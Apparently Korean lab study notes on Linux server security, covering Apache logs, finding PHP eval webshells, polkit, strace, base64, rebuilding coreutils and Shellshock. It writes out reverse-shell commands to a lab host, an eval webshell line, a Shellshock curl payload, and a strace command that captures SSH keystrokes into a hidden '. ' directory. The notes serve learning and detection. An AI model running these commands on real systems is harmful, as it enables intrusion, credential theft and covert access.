ErrorLog
웹 서버의 오류 로그 파일 설정
/etc/httpd/logs/파일명
CustomLog
웹 서버에 접근하는 로그 파일 설정
/etc/httpd/logs/파일명
메인서버 - <IfModule log_config_module>
가상호스트 - <VirtualHost *:80>
한 줄 웹쉘
system("명령어");
eval("echo '123';");
elval("system('pwd')");
# grep eval\( /var/www/html/*
grep: /var/www/html/data: 디렉터리입니다
grep: /var/www/html/iframe: 디렉터리입니다
grep: /var/www/html/images: 디렉터리입니다
/var/www/html/list.html: */@eval($_POST['a']);
/var/www/html/list.html: $filename = $row['filename']; @eval($_POST['a']);
grep: /var/www/html/log: 디렉터리입니다
grep: /var/www/html/seat_reservation: 디렉터리입니다
=> eval 명령어 찾아내기
가상호스트 사용시 /home/* 와 /var/www/html 경로를 점검
CVE
소프트웨어의 보안 취약점을 가리키는 표기법
CVSS 점수
- 0.1 ~ 3.9 저위험군
- 4.0 ~ 6.9 중간단계
- 7.0 ~ 8.9 고위험군
- 9.0 ~ 10.0 매우높은 치명적 위험군
공격자
nc -lvp 443
희생자
/bin/bash -i >& /dev/tcp/192.168.100.3/443 0<&1
=> 이미지를 보면 연결되어 pwd 명령어가 실행된 것을 볼 수 있다
발견하기 힘들도록 ". " 폴더를 만들어서 그 안에서 실행한다
실무에서 wget을 쓸 일이 거의 없으므로 제거하거나 권한을 바꿔주는 것이 안전
polkit 취약점
polkit의 일부인 pkexec는 polkit 정책 정의에 따라
사용자가 setuid 기능을 활용하여 다른 사용자로 명령을 실행할 수 있도록 하는 툴
권한이 없는 로컬 공격자가 프로세스의 매개 변수 벡터를 잘못 처리하여 권한을 상승시키고 인증 및 정책을 우회할 수 있다
https://access.redhat.com/ko/security/vulnerabilities/RHSB-2022-001
텍스트 파일 : secure ...
바이너리 파일 : wtmp, utmp ...
바이너리 파일은 전용 명령어로 확인해야한다 ( ex last, w 등 )
strace
프로그램이 실행될 동안 호출하는 시스템콜 추적
ssh key log 탈취하기
strace -f -p 2194 -o "/etc/. "/ssh_keylog.txt -v -e trace=read,write -s 128
-o 옵션에 의해 txt 파일로 저장
-f 자식프로세스까지 추적
-p 2194 프로세스 id로 추적
-v 상세하게 출력
-e trace=read,write 시스템 호출중 read와 write만 출력
-s 128 버퍼에 읽거나 쓰는 데이터 크기는 128바이트로 설정한다. 기본은 32바이트
입력한 부분의 로그 일부
base64 인코딩
# echo -n E1L | base64
결과 : RTFM
E: 69, 0x45, 01000101
1: 49, 0x31, 00110001
L: 76, 0x4c, 01001100
01000101 00110001 01001100
=> 이것을 6비트로 쪼갠다
010001 010011 000101 001100
17 19 5 12
=> base64 변환표를 참고하면 RTFM
패키지 소스코드 분석 및 컴파일
센토스7
sudo yum -y install yum-utils
sudo yumdownloader --downloadonly --source coreutils
rpm -Uvh coreutils-8.22-24.el7_9.2.src.rpm
cd rpmbuild/SOURCES/
tar xJf coreutils-8.22.tar.xz
cd coreutils-8.22
yum -y install gcc make vim
./configure
make -j
cd src
vim ls.c
( root에서 진행 하면 안 됨 )
ls.c의
main 함수안에 printf를 한 줄 추가하였다
cd ..
make
다시 컴파일해준 뒤
$ ./ls -l
>>> 소스 파일 수정 <<<total 34540
-rwxr-xr-x 1 linuxadmin wheel 165248 12월 22 17:19 [
... 하략
컴파일한 폴더안의 ls명령어를 써보면 이렇게 수정된 printf가 함께 출력된다
(그냥 ls 쓰면 안 나옴)
로키8
rpm -qf /bin/ls
dnf download --source coreutils
sudo groupadd mock
sudo useradd -g mock mockbuild
rpm -Uvh coreutils-8.30-15.el8.src.rpm
cd rpmbuild/SOURCES/
tar xJf coreutils-8.30.tar.xz
cd coreutils-8.30
sudo dnf -y install gcc make vim
./configure
make -j
cd src
소스코드 수정후 재컴파일하면
$ ./ls ls*
>>> 로키8 소스코드 수정 <<<
ls ls-dir.o ls-ls.o ls-vdir.o ls.h
ls-dir.c ls-ls.c ls-vdir.c ls.c ls.o
이렇게 수정된 ls로 출력된다.
Shell Shock 취약점
# yum -y install wget
# wget https://vault.centos.org/6.4/updates/x86_64/Packages/bash-4.1.2-15.el6_4.x86_64.rpm
# rpm -ivh bash-4.1.2-15.el6_4.x86_64.rpm --force --nodeps
취약한 bash 버전 설치
# bash --version
GNU bash, version 4.1.2(1)-release (x86_64-redhat-linux-gnu)
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
# env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
vulnerable <- 취약한 부분
this is a test
attacker에서 nv -lvp 80으로 열고
취약한 bash에서
curl -v -A "() { :; };/bin/bash -i >& /dev/tcp/192.168.100.3/80 0<&1 " http://192.168.100.24/cgi-bin/shellShock.cgi
입력하면
리버스 커넥터로 연결됨